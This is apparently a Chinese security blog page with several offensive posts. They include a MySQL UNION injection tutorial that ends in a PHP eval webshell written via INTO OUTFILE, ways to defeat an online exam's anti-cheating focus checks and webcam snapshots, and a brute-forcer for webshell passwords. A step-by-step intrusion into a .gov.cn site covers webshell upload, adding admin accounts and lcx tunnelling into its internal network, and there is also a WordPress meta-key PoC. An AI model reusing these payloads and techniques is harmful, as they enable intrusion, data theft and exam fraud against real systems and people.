欢迎光临
我们一直在努力

mysql手工注入总结

admin阅读(127)评论(0)

这篇文章属于个人在学习sql注入时的一部分总结,后续的关于个人sql注入的总结文章也会陆续发出来。如果跟大佬的有重复或者有什么其他问题,请各位大佬及时指出{:6_430:} 。自评TCV=0…..

下面就是正文部分了。

基础知识

什么是SQL注入

A SQL injection attack consists of insertion or “injection” of a SQL query via the input data from the client to the application. A successful SQL injection exploit can read sensitive data from the database, modify database data (Insert/Update/Delete), execute administration operations on the database (such as shutdown the DBMS), recover the content of a given file present on the DBMS file system and in some cases issue commands to the operating system. SQL injection attacks are a type of injection attack, in which SQL commands are injected into data-plane input in order to effect the execution of predefined SQL commands.

引用OWASP上的定义,sql注入简单来说就是攻击者从客户端输入的恶意sql查询语句被服务器执行,从而攻击者可以读取/修改数据库中敏感信息、执行数据库管理员操作、甚至执行系统命令。

什么是Mysql

MySQL是一个关系型数据库管理系统,由瑞典MySQL AB 公司开发,目前属于 Oracle 旗下产品。MySQL 是最流行的关系型数据库管理系统之一,在 WEB 应用方面,MySQL是最好的 RDBMS (Relational Database Management System,关系数据库管理系统) 应用软件。

Mysql简单来说就是一个关系型的数据库管理系统,使用SQL语言来来存储数据,以及管理数据。

MySQL手工注入

SQL注入从注入的手法或者工具上分类的话可以分为:

  • 手工注入(手工来构造调试输入payload)
  • 工具注入(使用工具,如sqlmap)

下面主要讲解的是如何通过手工来显式注入MySQL数据库。说到显式注入,SQL又可以分为:

  • 显式注入
  • 盲注入

这两种分类的主要区别在于能否从页面上直接获取数据库信息。

手工注入流程

判断注入点

注入的第一步是得判断该处是否是一个注入点。或者说判断此处是否有SQL注入漏洞。最简单的判断方法就是在正常的参数后加单引号 '

http://192.168.0.111/dvwa/vulnerabilities/sqli/?Submit=Submit&id=1'

如果页面显示了SQL的错误信息,进一步测试:

    1' or 1=1 --+

页面显示正常。再测试:

    1' and 1=2 --+

至此基本可以确定此处是一个SQL注入点,也就是说存在SQL注入漏洞。

判断查询的字段数

确定了注入点之后,就需要进行下一步的注入操作了。首先使用orderby子句来确定SQL语句查询的字段数量。orderby子句会根据sql查询结果的字段来排序,如果字段不存在则会报错。下面尝试输入order by 10 。

    1' ORDER BY 10 --+

发现页面报错,那么接下来尝试order by 9, 如果同样报错,则尝试order by 8,依次尝试下去,直到页面显示正常为止。

可以看到order by 2的时候页面显示正常,则说明查询语句只有2个字段。

确定回显位

确定了查询数据的位数,然后开始确定网页的回显位。回显位就是确定查询出来的数据是在网页上面的哪个位置显示出来。使用Union联合查询来确定回显位。

    1' and 1=2 union select 1, 2 --+

可以看到查询语句中的两个字段都在网页中显示了,分别在First name和 Surname位置上。

获取信息函数

下面就开始获取数据库信息了,常用的几个获取数据的函数分别是:

    user()      获取当前用户用户
    database()      获取当前数据库
    version()       获取数据库版本
    @@version_compile_os        获取操作系统版本

注入下列SQL语句可以查询出数据库当前用户,和当前数据库名。

    1' and 1=2 union select user(), database() --+

注入下列SQL语句,可以查询出数据库版本和当前操作系统版本。

    1' and 1=2 union select version(), @@version_compile_os --+

可以看到注入上面两条语句之后,当前用户、数据库名、数据库版本、操作系统等信息都已经得到了。

获取数据库名

MySQL5新增了一个information_schema结构,这个information_schema数据库中存储着MySQL管理的所有数据库的信息,如数据库名,表名,列名以及权限等等信息。所以可以利用information_schema来快速获取数据库中的表结构信息。常用的information_schema中的表有:

    schemata        (schema_name字段记录所有数据库信息)
    tables      (table_name记录表名,table_schema字段记录表所属的数据库信息)
    columns     (column_name记录列名,table_name记录列所属的表名,schema_name记录列所属的数据库名)

所以可以使用schemata表来获取所有数据库名:

    1' and 1=2 union select 1, SCHEMA_NAME  from information_schema.schemata --+

这条SQL语句是能够将所有数据库名查询出来,如果页面显示足够多的话是可以直接全部获取的。但是有些情况下,页面可能只会有一条回显记录,那么可以使用limit子句来分批获取所有数据库名。或者直接使用group_concat来一次性获取数据库信息。

    1' and 1=2 union select 1, group_concat(SCHEMA_NAME) from information_schema.schemata --+

使用group_concat就能很方便的在一条记录中查询出来所有数据库信息。

获取表名

获取到了数据库信息之后,找到目标数据库,然后开始获取表名信息。可以读取tables表中的table_name来获取。

    1' and 1=2 union select 1, group_concat(TABLE_NAME) from information_schema.tables where schema_name='dvwa'+--+

表名需要使用'单引号包起来,或者使用16进制来表示:

    1' and 1=2 union select 1, group_concat(TABLE_NAME) from information_schema.tables where schema_name=0x64767761+--+

获取列名

获取到了表名之后,下面来获取列名。同样通过information_schema的columns表获取。

    1' and 1=2 union select 1, COLUMN_NAME from information_schema.columns where table_name='users'+--+

表名同样可以使用十六进制表示。

获取数据

下面就开始获取表中的数据了,选择刚才获取的表中的user_id,user,password三列的数据。

    1' and 1=2 union select 1, group_concat(user_id,',user,',password) from users+--+

group_concat中间的'是用来分割数据显示的。

以上,就成功从数据库中获取了管理员账户信息。

写shell

上面获取管理员账号信息之后,就可以登录网页后台,从后台寻找上传点或者其他漏洞来往服务器上写入webshell。在知道服务器的物理地址的情况下,通过SQL语句来写入webshell通常是一种更快捷方便的方式。

    1' and 1=2 union select '<?php eval($_POST[shell]); ?>' INTO OUTFILE '/var/www/html/shell.php'+--+

执行成功之后,就能使用菜刀或者其他工具连接网页更目录下的shell.php文件了。

某在线测评网站前端防作弊技术

admin阅读(97)评论(0)

一.跳出限制

这个测评网站很有意思,不管我打没打开F12,只要点击到了那个区域就会出发警告,经过分析,它是一个主窗口嵌入了一个子窗口,子窗口的大小小于主窗口,核心的代码如下:

其实很简答,只要触发了onblur事件,就会进行进行警告。

二.Bypass跳出限制

  1. 利用Chrome自带的工具下断点,在关键的地方直接return false即可。缺点:体验不够好。
  2. 利用Burpsuite等工具进行match&&replace关键部分的代码。缺点:如果https做了双向验证,就会失败。
  3. 在打开的第一个页面里面,F12注入JS代码,将所有同域下的页面注入JS代码。优点:一劳永逸

三.拍照监控

拍照监控在编程测试的地方,这里因为可以使用IDE,所以不做跳出限制。

系统每过5-10分钟 就拍一张照片发送到服务器上面。

四.Bypass拍照监控

  1. 提前用html5的摄像头API拍几十张照片
  2. 转成base64编码的内容
  3. 修改拍照takePhotos函数,让其每次上传的照片都是提前准备好的照片即可。

五.写在后面

真实的环境可能与模拟的环境有很大出入,请各位不要以身试法,做一个诚实守信的人~~~

python脚本爆破shell一句话木马

admin阅读(95)评论(0)

这个脚本需要安装python环境在网上找的一个脚本
用了下还不错
 
看我命令操作
Microsoft Windows [版本 6.1.7601]
版权所有 (c) 2009 Microsoft Corporation。保留所有权利。

C:\Users\Administrator>cd
C:\Users\Administrator>cd C:\
C:\>shell.py

    #######################################################
    #                                                                                                                                     #
    #               chopper exploit v1.0                                                                                      #
    #            BY     Jyhack TeaM                                                                                            #
    #                  bbs.jyhack.com                                                                                          #
    #                                                                                                                                    #
    #######################################################

target : http://www.xxx.com/1.asp ?  http://down.oxhack.com/ii.asp              //这里输入shell地址
password path: c:\password.txt ?  C:\1.txt                                                      //这里输入字典的位置
choice php/asp/aspx? : (asp)                                                                            //这里默认按enter就行
lines(speed) : 5 ?  10
starting…asp
testing—>12testing—>eqw

testing—>161 testing—>efee

testing—>ew
testing—>root
testing—>wef
testing—>MH
testing—>31
testing—>ewrr
testing—>3161
testing—>0
testing—>rt

!!!!—-PASS FIND!!! ————–>MH               //这就是密码了

Struts 2 S2-045漏洞复现

admin阅读(108)评论(0)

Apache Struts 2被曝存在远程命令执行漏洞,漏洞编号S2-045,CVE编号CVE-2017-5638,在使用基于Jakarta插件的文件上传功能时,有可能存在远程命令执行,导致系统被黑客入侵。

漏洞编号: CVE-2017-5638

 

漏洞名称:基于 Jakarta plugin插件的Struts远程代码执行漏洞

官方评级:高危

 

漏洞描述:恶意用户可在上传文件时通过修改HTTP请求头中的Content-Type值来触发该漏洞,进而执行系统命令。

漏洞复现截图:

 

漏洞挖掘经验分享

admin阅读(94)评论(0)

1、收集信息,尽可能的越多越好(主域名、IP段、搜索引擎、GitHub等)。

2、收集好信息后,对收集的信息进行一些扩展,增加信息收集的量(可以用SubDomain工具批量收集厂商域名信息,域名对应IP,数据多了之后,就可以拿来分析域名的真实地址、以及潜在的IP段)。

3、对IP段、子域名等进行大量破解,这里我们要经常收集一些SRC开发常用的端口、以及一些域名的命名习惯(GitHub上面有很多现成的端口,平时收集信息的时候,可以多注意一下)。

4、收集对方的邮箱账号命名习惯(因为好多官方后台都是用内部邮箱账号登录的)

5、一般大厂商主站的漏洞不是很多,挖到漏洞了,也没多少积分,新手遇到这类型站,应该主动绕道,去其他子站看看。

6、逻辑漏洞,这种类型的漏洞非常多,一般各大厂商基本上都存在,有的只是比较隐蔽而已,刚入手的白帽子,有可能觉得这个挖起来比较难,因为这个得对系统有一定的分析了解,不过好的是,这种漏洞一般只要挖洞一个,基本上奖励还是不错的。

7、弱口令、这种漏洞,新入手的白帽子最好提前收集一些弱口令字典,我用的一般是TOP2000。账号收集你可以看他们的邮箱结构,例如:liudehua、liudh、ldh、liudehua+数字等这种格式的账号,遇到只有后台类的系统,大家都可以用收集好的账号+常见的用户名,进行破解。

8、一般发现漏洞之后,可以尝试分析一下漏洞引发的一连串危害,记住一点,弱口令不是仅仅是弱口令问题,有可能系统还存在其他漏洞,这时候我们就可以利用弱口令进入后台之后,分析出他们其他存在的漏洞,例如:上传、注入、逻辑等漏洞,这种的一般危害比较大,被恶意利用了,很容易引发其他的问题。

记住:当你们挖到一个弱口令累的漏洞时候,一定不要轻易提交,可以利用弱口令挖掘一些其他的漏洞,如果后台实在没有其他漏洞(有可能也是个人技术问题、挖不到),那你就提交吧(其实也是一种无奈)。

9、有的厂商存在大C段、有的厂商存在大B段,这个时候我们平常的一些积累就可以用到了,我平时积累了4000个常见端口,这个时候利用闲暇时间你就开始跑端口吧,一般跑完之后,你还得对跑完之后的数据进行一些处理,看那些服务正常开启并能够访问,你可以写个简单脚本进行处理,不然你一个个访问弄太麻烦,现在很多厂商都把数据库端口、中间件等端口对外屏蔽了(偶尔有漏网之鱼),只保留了80、8080等端口号。

10、平时多关注最新的漏洞,把自己的收集的数据分类整理好(能够第一时间内,把数据能够利用起来)例如:JSP,PHP等系统分类整理。

11、多关注一下厂商的移动应用(APP、公众号系统、Mobile系统),一般厂商在这里面也容易出问题,现在很多厂商的一些移动应用开发的不够好,导致里面逻辑漏洞特别多,导致用户敏感信息信息泄露等。

12、厂商邮箱,当厂商人员达到一定数量的时候,弱口令或信息泄露类的事情就经常发生,导致的后果也比较严重,例如:开发人员无意识将代码传入第三方平台,内部测试服务器,平台账号等信息泄露。

13、关于扫描器,尽量少使用扫描器,锻炼自己的手工挖掘能力,这样也可以提升你的挖掘水平,我在挖洞的过程中一般很少使用扫描器,现在的扫描器,对一些漏洞扫描的准确率几乎为0,或压根扫不到。

14、关于漏洞挖掘工具,我目前使用最多的就是Burp、其次是Sqlmap,这两个工具在我的漏洞挖掘过程中,起到了很重要的作用。

Burp用来抓包重放,Sqlmap用来处理确认Burp测试中遇到的疑似SQL注入问题。

15、关于编程语言,要熟悉一些脚本语言,例如Python、php等,它可以帮助你了解漏洞产生的原理,以及遇到问题时写一些脚本等。

16、关于网络,有的白帽子对计算机网络不太清楚、IP划分、网络服务、主机服务、路由等都不是特别清楚,这些知识可以说是基础,没事的时候可以看看网络工程类的书籍、视频,补一补。

17、第三方数据平台,例如:shodan、oshadan等,这两个平台我经常用,虽然有数量查询限制,但还是可以想办法绕过的,通过上面平台我们可以查询到一些我们不清楚的系统,比如:某某公司分公司自己开发的系统,这个时候,我们也是可以对这种系统进行一些漏洞挖掘的,这种系统只要之前的没测试过的,一般存在的问题也是很多的,分分钟进后台,严重的有可能导致数据泄露,或通过分公司网络漫游总公司等。

18、多学习,多交流,当你觉得自己快挖不到洞的时候,却有其他人能挖到洞的时候,这时候你就应该想想怎么回事了,是不是自己的知识面不够,还是自己的思路不对了,如果是知识面不够你就应该好好学习了,我总是在不断挖洞的过程中,不断学习。多交流,当大多白帽子遇到这个问题的时候,有很多觉得人觉得自己好像孤军奋战一样,茫无目的寻找,这个时候如果你没有自己的组织,我建议你还是寻找一下吧,最起码找一个愿意帮助自己的人,解疑答惑。现在这种人好像越来越少了,扯淡的比较多。

补充:要是觉得自己水平很高,也应该做到不耻下问。

19、多跟漏洞平台的人接触,有困惑的时候,也可以问问他们,比如:最近大家都在挖什么洞呀……,不见得每个审核都会说,但是如果说了,你就照着那个思路挖就行了,洞总会有的。

20、挖洞到一定水平的时候,大家可以可以尝试着去挖挖众测项目,可以进一步提升你的挖洞效率跟能力。毕竟挖好了,都是钱。不管你是上学的,还是工作的都是一笔可观的收入。

21、不要轻言放弃,有很多人,挖洞很长时间挖不到,自己就觉得很郁闷,想放弃,这时候我想跟你说,往前看,回顾你之前挖的漏洞,看是否能从你熟悉的漏洞中,再次挖到新的漏洞。

22、真正的熟知各种漏洞类型的利用方法,原理。绝不要仅限于TOP10漏洞类型,记住大平台什么漏洞类型都有可能出现,漏洞不等人,不掌握好基本功,有可能漏洞就被其他白帽子挖走了,有时候挖洞,也是考验你的基本功。

23、关于漏洞利用最大化问题,挖洞的过程中,有的厂商审核有可能让你提供一些漏洞危害程度的说明,这个时候,你想的是点到为止,他想的是危害程度,因为这个要拿来给你漏洞评级的,

举个例子:xxx系统存在命令执行。看着这个漏洞名字吓死人,其实有时候这样子的漏洞评分、评级并不高,因为系统有各种各样的限制,导致你只能执行一些简单的命令,不能上传shell、执行其他危险操作等,由于你想的点到为止,并不清楚系统有如此的多的限制,导致你在自评或审核确认后给的评分不高,导致双方之间产生的一些矛盾。

还有的就是,可以进入系统,命令执行直接为管理员权限,可以拿到服务器权限,这个时候,白帽子要把握好度,进行一些截图,切勿窃取服务器的其他敏感信息(比如:偷偷脱裤等),如果想证明漫游等其他的危害,应该报告中集中体现出来(仅证明可以漫游,或拿其他系统举个例子也可以)。

24、底线问题,严于律己,别发现漏洞后,偷偷拿去乱搞。

转自:http://www.secbug.cn/archives/vulnerability-mining-experience-sharing/

从目录信息泄露到渗透内网

admin阅读(91)评论(0)

1.目录信息泄露

目录信息泄露是指当当前目录无index.html/index.asp/index.php/index.asp.net等指定主页的情况下,直接显示目录下所有的文件及其目录。测试方法和简单,在网站路径后输入目录名称即可,一般的扫描软件会自动识别该漏洞,如图1所示,显示该网站存在目录漏洞。

wKiom1kiuKWgH2zoAAExbHveyO0345.jpg-wh_50

图1存在目录泄露漏洞

2.发现后台弱口令

在目录泄露的基础上,发现网站存在后台管理地址,使用弱口令admin/admin顺利登陆该投票管理系统,如图2所示。出现目录泄露漏洞的网站后台密码一般都比较简单,比如admin/123456、admin/admin、admin/admin888等。

wKiom1kiuKXiMVRFAABv1bU_uj8430.jpg-wh_50

图2获取后台弱口令

3.泄露文件信息

如图3所示,通过分析网站的源代码,从源代码中去寻找文件夹,发现存在UpLoadFolder 文件夹,通过地址http://**.*******.gov.cn/UpLoadFolder/进行访问,在该文件夹下有大量的上传文件,单击这些文件链接,可以直接下载文件到本地。

wKioL1kiuKbzztAvAAHAkZyV2og874.jpg-wh_50

图3上传的所有文件

4.发现数据库文件

在该网站hzh目录发现存在db目录,继续访问,如图4所示,可以看到存在db.mdb,如果网站未做安全设置,该数据库文件可以直接下载。

wKioL1kiuKfg6co0AABlaOJTVDc299.jpg-wh_50

图4发现数据库文件

5.发现涉及个人隐私的文件

如图5所示,在网站myupload文件夹下,发现大量的txt文件,打开后,在该文件中包含大量的个人基本信息,身份证账号以及银行卡信息等。

wKiom1kiuKiBWmWnAAJunFkh1pA209.jpg-wh_50

图5泄露个人银行卡信息

6.发现上传文件模块

在网站继续查看泄露目录,如图6所示,获取了memberdl目录,逐个访问文件,其中aa.aspx为文件上传模块。在一些文件上传页面中可以直接上传webshell。

wKiom1kiuKiQpK_2AACExEG5gEU535.jpg-wh_50

图6获取上传页面

7.构造文件解析漏洞

在文件上传页面,通过查看,发现可以直接创建自定义文件,在该目录中创建1.asp文件夹,如图7所示,可以直接船舰1.asp文件夹;然后选择文件上传,如图8所示,构造一个webshell的avi文件,文件名称为1.avi。

wKioL1kiuKng880qAACJBD48b60034.jpg-wh_50

图7创建1.asp文件夹

wKiom1kiuKni8sNNAACq2Aiir3Y737.jpg-wh_50

图8上传1.avi文件

通过浏览1.avi获取文件的url地址,如图9所示,将多数体链接地址复制下来,直接获取webshell,使用中国菜刀管理工具,顺利获取webshell,如图10所示。

wKioL1kiuKmQFTg7AADFf2VBbdQ371.jpg-wh_50

图9获取webshell地址

wKiom1kiuKqwEJDNAACmm20xw-M862.jpg-wh_50

图10获取webshell

8.获取数据库密码

通过中国菜刀后门管理工具,上传一个asp的大马,有时候webshell会被查杀或者防火墙拦截,如图11所示上传一个免杀的webshell大马,通过大马对网站文件进行查看,在web.config文件中获取了mssql数据库sa账号和密码“fds%$fDF”。

wKioL1kiuKvgHJAVAAKSuUvzQf0657.jpg-wh_50

图11获取数据库密码

9.MSSQL数据库直接提权

在webshell中,选择提权工具-数据库操作,如图12所示,选择组件检测,获取该操作系统为windows2003,数据库为最高权限。

wKioL1kiuKvjWVZWAAE4PIlRYbM096.jpg-wh_50

图12检测组件

在系统命令中执行添加用户和添加用户到管理员操作,如图13,图14所示,选择cmd_xpshell执行即可添加用户和到管理员组。

wKiom1kiuKyDOfs1AAFieJQwpK8611.jpg-wh_50

图13添加用户和组

wKiom1kiuKyzDskCAAFmCBmIWPs764.jpg-wh_50

图14查看管理员组

10.使用lcx穿透进入内网

(1)上传lcx文件到C:\ydcz\cl目录

(2)执行命令C:\ydcz\cl\lcx.exe -slave 122.115.**. ** 4433 10.0.11.129 3389

如图15所示,该命令表示将10.0.11.129的3389端口连接到122.115. **.**的4433端口。

(3)在122.115. **. **服务器上执行lcx –slave 4433 3389,如图16所示。

wKioL1kiuTDDHKb9AADdx61Kt7U367.jpg-wh_50

图15执行端口转发

wKiom1kiuTDSLUu1AABtOO4LISg776.jpg-wh_50

图16执行监听

(4)在122.115.**.**服务器使用mstsc登录地址127.0.0.1:4433,如图17所示,输入用户名和密码后,成功进入服务器。

wKioL1kiuTCjkRaLAADUO6PwXIM702.jpg-wh_50

图17成功进入内网服务器

11.查看和扫描内网

可以使用端口扫描工具对内网IP进行扫描,有可以通过查看网络邻居-查看工作组计算机来获取内网是否存在多台个人计算机或者服务器,如图18所示,显示该内网存在几十台个人桌面及服务器。

wKioL1kiuTKgtoFyAAKfCyckG4w515.jpg-wh_50

图18发现内网存在多台服务器和个人主机

12.利用已有信息进行渗透

在本例中获取的sa口令是进行内网权限扩展的一个好思路,通过扫描获取10.0.11.31服务器的sa跟掌握的口令一样,通过SQL Tools进行连接,如图19所示,成功获取当前权限为system权限,直接可以添加用户登录3389。

wKiom1kiuTKTcUZsAACH_CAp0HY513.jpg-wh_50

图19获取系统权限

由于本案例的目地是介绍通过信息泄露渗透进入内网,对内网的渗透仅仅是通过sa口令进行扩展,在本案例中,通过扫描,发现存在5台计算机使用相同的sa口令,这五台计算机都是系统权限。在这个基础上继续渗透基本可以获取整个网络的权限。

13.目录信息泄露防范

(1)禁止Apache显示目录索引,禁止Apache显示目录结构列表,禁止Apache浏览目录。

将httpd.conf中的Options Indexes FollowSymLinks # 修改为: Options  FollowSymLinks

修改Apache配置文件httpd.conf

搜索“Options Indexes FollowSymLinks”,修改为“Options-Indexes FollowSymLinks”即可。

在Options Indexes FollowSymLinks在Indexes前面加上“–”符号。“+”代表允许目录浏览;“–”代表禁止目录浏览,这样的话就属于整个Apache禁止目录浏览了。通过.htaccess文件,可以在根目录新建或修改 .htaccess 文件中添加“Options –Indexes”就可以禁止Apache显示目录索引。

(2)在IIS中需要设置“网站属性”-“主目录”-“目录浏览”,即不选择即可。选择表示允许目录浏览。

 

 

from:http://blog.51cto.com/simeon/1928354

渗透测试常规思路分析

admin阅读(84)评论(0)

这门技术(艺术)一开始也不是每个人都会的,正所谓没有人一出生就会走路,从不懂到入门到深谙,一步步慢慢来,每个人都是这样;但是在这个过程中,思路无疑是最重要的,没有做不到只有想不到,就跟咱们高中解题时有了思路就迎刃而解一样,手里拿着铲子(技巧知识)但不是道从何挖起岂不是悲哀。

下面会分享一些我自己总结的常规渗透思路。

分享的思路就像一本书的索引一样,并不是每个点都有详细的技巧和各种原理分析,而是咱们如何下手如何一步步深入,在每个点上咱们知道了思路可以在每个点上查阅资料来攻破,继续前进。好比武功的招式套路,在总体套路不变的前提的下招招精进,也可以重组创新。

0×01 野球拳:外围

招式解释

野球拳:最基础但练得好最后也非常厉害

1.  主要由于服务器配置等原因造成的信息泄露

常用google ,bing等搜索工具,轻量级的搜索出一些遗留后门,不想被发现的后台入口,中量级的搜索出一些用户信息泄露,源代码泄露,未授权访问等等,重量级的则可能是mdb文件下载,CMS 未被锁定install页面,网站配置密码filetype:lst password,php远程文件包含漏洞等重要信息。

包括Robots.txt不想让百度知道的,可能没有设置forbidden访问权限,让我们知道了路径可以进入哦。

2.  端口探测——服务

该项也是针对服务器的配置来说的,在服务器配置的时候可能出现一些ftp,3389.1433等常规服务端口,则可以根据弱口令尝试,或者一些服务的基础漏洞(CVE)来使用matesploit进行处理。常用工具NMAP –A IP.

 

3.  爬虫爬网站目录

该项是使用爬虫扫描器,对网站域名进行扫描,网站根目录下的文件,说不定能发现惊喜哦。AWVS,WWWScan。

4.  Web框架漏洞

Web整体框架:

①Struts2框架漏洞,直接利用。

②ThinkPHP任意代码执行。

 

后台框架:

其实也可以算绕过验证进入后台分类中;

①Siteservercms,cookie绕过,在sebug上可以找到相关漏洞修补信息。

②worldpress

③ewebeditor , fckeditor编辑器上传页面直接访问,根据编辑器版本,

随处可查利用信息。

 

 

5.  暴力,撞库进后台

无论是前端的用户登录还是后台的管理进入,暴力破解都不失为一种以时间和字典为消耗的方法,还是有概率进入的,呵呵。

不过相比而言,根据外围探测拿到的信息,也许可以帮助我们很轻松的进入后台。

撞库,也许你只拿到了一部分敏感信息,但是网络上现在裤子满天飞的状况下,撞一撞找一找,说不定密码就出来了,这个可比暴力破解快得多。

 

6.  弱口令

最常见最危险也最掉以轻心

7.  中间件配置不当引起的问题

① IIS写漏洞(不常见了)

(常规工具“老兵”)

② 目录可访问

*8.  操作系统、中间件文件解析引起的问题,

Apache test.php.xx     IIS  test.asp;.jpg    windows  .asp.    asp□

不是深入的话题,在上传里关注

9.  php引起的一系列问题

① ../../etc/passwd  直接深入

② php引起的目录遍历

③ PHP 引起的远程文件包含(google搜索也可以直接利用)

 

0×02 太极:外围到内部之间的中间层(应用)

招式解释

太极:遇强则强,遇弱则弱,全是应用惹的祸

一.用户未登陆的情况下

1、注入

注入的类型实在太多,利用花样种种,

①  页面调用时候的sql注入,一般直接穿山甲,sqlmap跑出来dbs和表,用来进后台用或者泄露用户信息。(DBS是否完整,网站结构库,直接利用)

②  万能密码之类的sql注入,进入前端应用或者后台管理。

③  本站没有注入不代表就不能深入,试试旁注呢,呵呵。只是流程不一样了。

 

2、XSS

XSS的类型不算多存储型,反射型,但是利用就是只有你想不到,没有你做不到。

和深入无关的就不说了。

①   XSS盲打打后台,多半也是想进后台种种方法无果的情况下。概率有限。

②   XSS DDoS。

 

3、信息泄露,订单遍历

用户访问权限问题。

4、密码找回漏洞(密码邮件/短信重置)

Burp可修改字段的情况下,找回其他用户密码,说不定admin的密码就被你找回了。

5、后台

后台也是一种业务,只是一种专政的隐藏的业务哈。

如何进入后台呢?在找到后台地址的前提下。和应用无关的:暴力破解,撞库,信息收集利用,弱口令,未授权访问。

①  万能密码之类的sql注入,post型注入用sqlmap dump dbs.

②  利用web前端的sql注入

③  密码找回运气好的话前端应用的admin密码和后台密码一致。(有什么查询密码88)

④  XSS盲打 cookie (成功率)

⑤  后台框架  siteservercms等知名后台cms   sebug

二.在模拟用户注册登陆情况下

1、认证绕过

①  万能密码

②  Cookie欺骗

2、越权访问

①  平行越权,其他用户信息读取、修改;

②  纵向越权,主要体现在修改密码能否通过特殊字段标记的修改管理员密码。

3、注入

Cookie post get 型,登陆后user相关应用

4、XSS 影响力、类型实在太多

① user提交的东西让后台管理员去审核

  1. 了解后台的提交审核流程,CSRF,给自己添加用户,(文章管理系统)
  2. XSS找后台,管理员浏览时Cookie传输到XSS平台
  3. XSS蠕虫之类
  4. 订单遍历

5、上传点

①  一句话木马

②  Webshell上传

在很多情况下,没有注入的,后台进不去,上传点是最好的阵地。

网站十分重视对上传文件的保护,熟悉上传流程,被阻断在哪里,在哪里突破。

6、短信、邮箱DDoS

7、支付漏洞

①  0元任意付

②  -1元退款

③  数量整型/长整型溢出

0×03 内部(管理后台)

招式解释:迷踪步(无痕无迹,还需更深进入)

既然已经进入了管理后台了,很有成就感,那么下一步的目标就是控制这台服务器,控制整个网段。。。现在一般的web渗透也都到此为止了。

1.上传webshell

假如你在web前端没有地方或者没办法上传webshell,那么在后台上传是一个最好的选择,这也是帮助你从业务层面上控制服务器的最佳方法。

①   后台可修改上传文件类型,欢天喜地,修改下白名单| 黑名单,上传成功,有时候不能被解析很常见,再找原因。

②   后台不能修改上传文件类型,大部分哦~不过一般来说对后台的上传校验比前端要宽松一些。

没事,咱们该怎么绕过就怎么绕过,不能绕过就88…….

2.一句话木马

3.管理员的分权

假如说管理员进行了分权,拿到了管理员不是权限最高的主管理员的话还需要进行管理员提权操作。

后台提权

from:http://www.bugsec.org/7698.html

WordPress(4.8.2及以下版本) SQL注入漏洞利用

admin阅读(86)评论(0)

WordPress中的POST META为文章自定义栏目/字段,就如一篇文章中会有标题作者等字段,但是对于有些主题/插件来说,文章中的自有字段显得不够用,就需要用到自定义栏目/字段

(该操作的位置在添加/编辑文章,在文本编辑框下方的自定义栏目,如果没有找到自定义栏目,需要在右上角的显示选项内将自定义栏目勾选。)

自定义栏目/字段的数据以meta_key(字段/栏目名)->meta_value(值)的形式存放在wp_postmeta表内。以下划线开头的meta_key(字段/栏目名)被认为是保留字段,不允许用户添加。

本文将介绍如何绕过Wordpress的meta_key检查,添加字段/栏目名以下划线开头的自定义栏目/字段

第一章 WordPress ≤ 4.7.4 XML-RPC API POST META 未校验漏洞

参考内容:WordPress 4.7.5 Security and Maintenance Release

1.1 POC

$usr = ‘author’;
$pwd = ‘author’;
$xmlrpc = ‘http://local.target/xmlrpc.php’;
$client = new IXR_Client($xmlrpc);
$content = array(“ID” => 6, ‘meta_input’ => array(“_thumbnail_id”=>”xxx”));
$res = $client->query(‘wp.editPost’,0, $usr, $pwd, 6/post_id/, $content);


POC来自 WordPress SQLi — PoC by slavco

1.2 漏洞分析

补丁位置:wp-includes/class-wp-xmlrpc-server.php

{% asset_img 1.2.1.png 漏洞分析 %}

根据补丁的内容,是将传入的$content_struct内容进行了白名单限制,同时也过滤了POC中的meta_input

1.先看修复后的_insert_post函数中我们关注代码(文件:wp-includes/class-wp-xmlrpc-server.php

protected function _insert_post( $user, $content_struct ) {
$defaults = array(
…//ignore
‘custom_fields’ => null,
‘terms_names’ => null,
‘terms’ => null,
‘sticky’ => null,
‘enclosure’ => null,
‘ID’ => null,
);
$post_data = wp_parse_args( array_intersect_key( $content_struct, $defaults ), $defaults );
…//ignore
if ( isset( $post_data[‘custom_fields’] ) )
$this->set_custom_fields( $post_ID, $post_data[‘custom_fields’] );
…//ignore
$post_ID = $update ? wp_update_post( $post_data, true ) : wp_insert_post( $post_data, true );
if ( is_wp_error( $post_ID ) )
return new IXR_Error( 500, $post_ID->get_error_message() );
if ( ! $post_ID )
return new IXR_Error( 401, __( ‘Sorry, your entry could not be posted.’ ) );
return strval( $post_ID );
}


按正常的业务流程,POST META应当是从custom_fields中获取,之后带入set_custom_fields函数中,而且set_custom_fields函数会对meta_key进行检查,不应当存在问题。

但是在wp_update_post函数与wp_insert_post函数中,会从$post_data[‘meta_input’]中取出数据,不经检查直接添加到自定义栏目/字段中。

2.函数wp_insert_post中我们关注的代码(文件:wp-includes/post.php

function wp_insert_post( $postarr, $wp_error = false ) {
…//ignore
$postarr = wp_parse_args($postarr, $defaults);
unset( $postarr[ ‘filter’ ] );
$postarr = sanitize_post($postarr, ‘db’);
…//ignore
if ( ! empty( $postarr[‘meta_input’] ) ) {
foreach ( $postarr[‘meta_input’] as $field => $value ) {
update_post_meta( $post_ID, $field, $value );
}
}
…//ignore
}


第二章 WordPress ≤ 4.8.2 POST META 校验绕过漏洞

WordPress目前最新版为4.8.3,建议大家更新。

2.1 一个MySQL的trick

1). 正常的条件查询语句

mysql> SELECT * FROM wp_postmeta WHERE meta_key = ‘_thumbnail_id’;
+———+———+—————-+————+
| meta_id | post_id | meta_key | meta_value |
+———+———+—————-+————+
| 4 | 4 | _thumbnail_id | TESTC |
+———+———+—————-+————+
1 row in set (0.00 sec)


2). 现在我们将_thumbnail_id修改成”\x00_thumbnail_id”

mysql> update wp_postmeta set meta_key = concat(0x00,’TESTC’) where meta_value = ‘_thumbnail_id’;
Query OK, 0 rows affected (0.00 sec)
Rows matched: 0 Changed: 0 Warnings: 0


3). 再次执行第一步的查询

mysql> SELECT * FROM wp_postmeta WHERE meta_key = ‘_thumbnail_id’;
+———+———+—————-+————+
| meta_id | post_id | meta_key | meta_value |
+———+———+—————-+————+
| 4 | 4 | _thumbnail_id | TESTC |
+———+———+—————-+————+
1 row in set (0.00 sec)


我们可以发现依然可以查询出修改后的数据。

2.2 POST META 校验绕过

我们来看下检查meta_key的代码,文件./wp-includes/meta.php

function is_protected_meta( $meta_key, $meta_type = null ) {
$protected = ( ‘_’ == $meta_key[0] );

/**
* Filters whether a meta key is protected.
*
* [@since](/since) 3.2.0
*
* [@param](/param) bool $protected Whether the key is protected. Default false.
* [@param](/param) string $meta_key Meta key.
* [@param](/param) string $meta_type Meta type.
*/
return apply_filters( ‘is_protected_meta’, $protected, $meta_key, $meta_type );
}


